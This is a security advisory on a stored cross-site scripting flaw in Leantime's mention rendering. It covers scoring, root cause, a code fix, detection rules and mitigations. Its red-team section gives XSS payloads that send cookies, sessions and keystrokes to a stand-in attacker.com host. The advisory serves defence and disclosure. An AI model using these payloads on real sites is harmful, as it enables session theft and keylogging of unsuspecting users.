CVE-2025-28254

Executive Summary

CVE-2025-28254 is a stored Cross-Site Scripting (XSS) vulnerability identified in Leantime, an open-source project management tool. The flaw resides in the processMentions() function, where the "first name" field is not properly sanitized before being rendered. An authenticated attacker can inject arbitrary JavaScript code into the first name field, which will then be executed in the browsers of other users who view the attacker's profile or any mention of that user. This can lead to session hijacking, data exfiltration, and further compromise of the application.

The vulnerability affects Leantime version 3.2.1 and all prior versions. As of this report, no official patch has been released, and the vendor's status is marked as UNKNOWN/UNPATCHED. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains significant for organizations using this software.

Supply Chain & Package Security

Leantime is a PHP-based application distributed via GitHub and Docker. The vulnerability is not in a third-party package but in the core application logic. However, organizations should verify the integrity of their Leantime installation and ensure no malicious modifications have been introduced via compromised dependencies.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Base Score: 5.4 (Medium)

• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker must have a valid user account.
• User Interaction (UI): Required – The victim must view the attacker's profile or a mention.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and lateral movement makes this a serious concern for organizations using Leantime.

Deep Dive & Mechanics

The vulnerability is located in the processMentions() function, which is responsible for parsing and rendering user mentions (e.g., @username) in comments, tasks, and other text fields. When a user's first name is displayed as part of a mention, the application fails to sanitize the input. An authenticated attacker can set their first name to a malicious JavaScript payload, such as:

<script>alert('XSS')</script>

When another user views a page that renders this mention (e.g., a comment or task description), the script executes in their browser. The attack flow is as follows:

1. Attacker logs in and navigates to their profile settings.
2. Attacker changes their first name to a malicious payload.
3. Attacker creates a comment or task that mentions their own username.
4. Victim views the comment or task, triggering the XSS payload.
5. The payload executes, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

The root cause is the lack of output encoding in the processMentions() function. The function likely concatenates user data directly into HTML without using htmlspecialchars() or similar escaping functions.

Vulnerable vs. Patched Code

Vulnerable Code (Leantime <= 3.2.1):

// In processMentions() function
$mention = '<a href="/dashboard/userprofile/' . $userId . '">@' . $firstName . '</a>';

The $firstName variable is directly inserted into the HTML without sanitization.

Patched Code (Hypothetical):

// In processMentions() function
$mention = '<a href="/dashboard/userprofile/' . $userId . '">@' . htmlspecialchars($firstName, ENT_QUOTES, 'UTF-8') . '</a>';

The htmlspecialchars() function encodes special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Leantime (version 3.2.1 or earlier).
• An authenticated user account with the ability to change their profile name.

Exploitation Steps:

1. Log in to Leantime as an attacker user.
2. Navigate to the profile settings page (e.g., /dashboard/userprofile/edit).
3. Change the "First Name" field to the following payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

4. Save the profile changes.
5. Create a new task or comment that includes a mention of your username (e.g., @attacker).
6. Wait for a victim to view the task or comment. The victim's browser will execute the script, sending their cookies to the attacker's server.

Alternative Payloads:

• Session hijacking: <script>document.location='https://attacker.com/steal?session='+document.cookie</script>
• Keylogging: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>

Blue Team

Detection Steps:

1. Monitor for unusual changes to user profile fields, especially the first name.
2. Look for HTTP requests to unknown external domains originating from Leantime application pages.
3. Review server logs for patterns of XSS payloads in user input fields.
4. Use web application firewalls (WAF) to block common XSS patterns.

Mitigation Steps:

1. Immediately restrict the ability to change profile names to trusted users only.
2. Apply input validation and output encoding to all user-controlled fields.
3. Implement Content Security Policy (CSP) headers to limit script execution.
4. Monitor for any suspicious activity and consider taking the application offline until a patch is available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown or suspicious domains from the Leantime server.
  • Unusual Referer headers pointing to Leantime profile pages.
• File IOCs:
  • Modified user profile entries in the database containing JavaScript payloads.
  • Log entries showing processMentions() calls with suspicious input.
• Behavioral IOCs:
  • Multiple users reporting unexpected redirects or pop-ups.
  • Unauthorized changes to user roles or permissions.

Detection Engineering

YARA Rule

rule CVE_2025_28254_Leantime_XSS {
    meta:
        description = "Detects potential XSS payloads in Leantime first name fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-28254"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"].*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Leantime Stored XSS via First Name Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS attempts in Leantime first name field
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: leantime
detection:
    selection:
        EventID: 1000  # Example event ID for profile update
        Field: "firstname"
        Value|contains: 
            - "<script"
            - "onload"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-28254 Leantime XSS Payload in First Name"; flow:to_server,established; content:"firstname"; nocase; content:"<script"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable profile editing for non-admin users until a patch is applied.
2. Implement a Web Application Firewall (WAF) rule to block common XSS patterns in the first name field.
3. Manually sanitize the processMentions() function by adding htmlspecialchars() to the first name output.

Long-Term Fix:

• Apply the official patch once released by the vendor.
• Conduct a full security audit of the application for similar vulnerabilities.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Educate users about the risks of clicking on suspicious mentions.

Workaround:

• If patching is not possible, consider using a reverse proxy to filter out malicious payloads before they reach the application.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert